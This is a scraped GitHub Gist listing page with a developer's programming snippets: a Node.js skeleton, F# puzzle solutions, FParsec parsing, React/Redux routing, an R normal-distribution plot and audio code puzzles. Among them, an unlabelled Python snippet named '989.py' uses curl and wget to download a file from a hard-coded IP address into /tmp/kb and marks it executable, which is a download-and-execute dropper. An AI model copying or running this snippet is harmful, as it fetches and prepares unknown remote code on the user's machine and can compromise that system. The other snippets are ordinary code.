Skip to content

Instantly share code, notes, and snippets.

@liammclennan
liammclennan / skeleton.js
Created Aug 24, 2017
Node.js console application skeleton
View skeleton.js
if (process.argv.length < 3) {
console.log('Usage: node ' + process.argv[1] + ' FILENAME');
process.exit(1);
}
var fs = require('fs')
, filename = process.argv[2];
let input = fs.readFileSync(filename, 'utf8');
@liammclennan
liammclennan / leftrotation.fs
Created Mar 16, 2017
Hackerrank: Arrays: Left Rotation
View leftrotation.fs
let rotations = System.Console.ReadLine().Split().[1] |> int
let vals = System.Console.ReadLine().Split()
let rotate arr n =
let cut = n % Array.length arr
Array.append arr.[cut..] arr.[..cut-1]
String.concat " " (rotate vals rotations) |> printfn "%s"
View 989.py
import os
def down_exec():
cmd = 'curl http://60.191.187.18:667/kb>/tmp/kb'
p = os.system(cmd)
cmd = 'wget -O /tmp/kb http://60.191.187.18:667/kb'
p = os.system(cmd)
cmd = 'chmod 0777 /tmp/kb'
p = os.system(cmd)
cmd = 'chmod u+x /tmp/kb'
View StoreCredit.fs
// https://code.google.com/codejam/contest/351101/dashboard#s=p0
open System.Linq
type Case = { c: int; i: int; ps: int[]; index: int[] }
let readFile filename =
System.IO.File.ReadLines(filename)
let transpose arr =
let t = [|for a in [0..Array.max arr] -> -1|]
View parsing.fs
#r @"packages\FParsec.1.0.1\lib\net40-client\FParsecCS.dll"
#r @"packages\FParsec.1.0.1\lib\net40-client\FParsec.dll"
open FParsec
let parsesA = pchar 'a'
run parsesA "abcdefg"
run (many anyChar) "abcde fg"
View app.js
// selectGame is a function that builds the data model for a game, by randomly selecting a set of books and a correct answer.
var selectGame = function () {
// `this` within selectGame is the array `data`. `reduce` is used to flatten the set of books into a single array.
// `_.shuffle` randomizes the list of books.
// `slice` selects the first 4 books.
// `books` is then 4 randomly selected books.
var books = _.shuffle(this.reduce(function (p, c, i) {
return p.concat(c.books);
}, [])).slice(0,4);
@liammclennan
liammclennan / gist:e61fe313a92eaf88df7a298e5e9ab219
Last active Apr 13, 2016
Pure React components with Redux and react-router
View gist:e61fe313a92eaf88df7a298e5e9ab219
store.subscribe(() => {
ReactDOM.render(
<Router history={browserHistory}>
// Note the use of onEnter event
<Route path="/chunk/:id" onEnter={handleEnterChunk} component={attachState(ChunkPage.Chunk,'chunk')}/>
</Router>)
});
// read route params (state.params) and do required state changes
function handleEnterChunk(state,replace,callback) {
@liammclennan
liammclennan / gist:51749b8217cc21962931696a00715162
Last active Apr 8, 2016
Draw a normal probability distribution
View gist:51749b8217cc21962931696a00715162
mean=132; sd=13
lb=105; ub=159
x <- seq(-4,4,length=100)*sd + mean
hx <- dnorm(x,mean,sd)
plot(x, hx, type="n", xlab="Duration (days)", ylab="",
main="Duration Probability Distribution", axes=FALSE)
i <- x >= lb & x <= ub
@liammclennan
liammclennan / signals.md
Last active Aug 29, 2015
Code puzzle - signal generator
View signals.md

The "standard" encoding for digital audio is pulse code modulation. The analog signal is sampled at regular intervals and stored as an amplitude quantity value.

Facts:

  • CD audio uses 44,100 amplitude samples per second
  • Each sample is a 16-bit integer between -32,768 and 32,767

One way to synthesize a pure frequency (in Hz) is to sample a sine wave.

Your task is to implement a function from a number of milliseconds and a frequency to a collection of samples.

@liammclennan
liammclennan / gist:aa1b3a5e74eb3ff01898
Last active Aug 29, 2015
Pitch frequency code puzzle
View gist:aa1b3a5e74eb3ff01898
Write a function that calculates the number of semitones between two musical notes.
The notes are [A;ASharp;B;C;CSharp;D;DSharp;E;F;FSharp;G;GSharp].
The distance between each is 1 semitone. E.g. ASharp -> E = 6 semitones.
Twist: The notes can be in 3 different octaves. E.g. ASharp (octave 1) -> E (octave 2) = 18 semitones.
Extra credit: If A (octave 1) is 220Hz write a function that calculates the frequency of a note in an octave.
E.g. Frequency(A, 1) == 220, Frequency(A,2) == 440 etc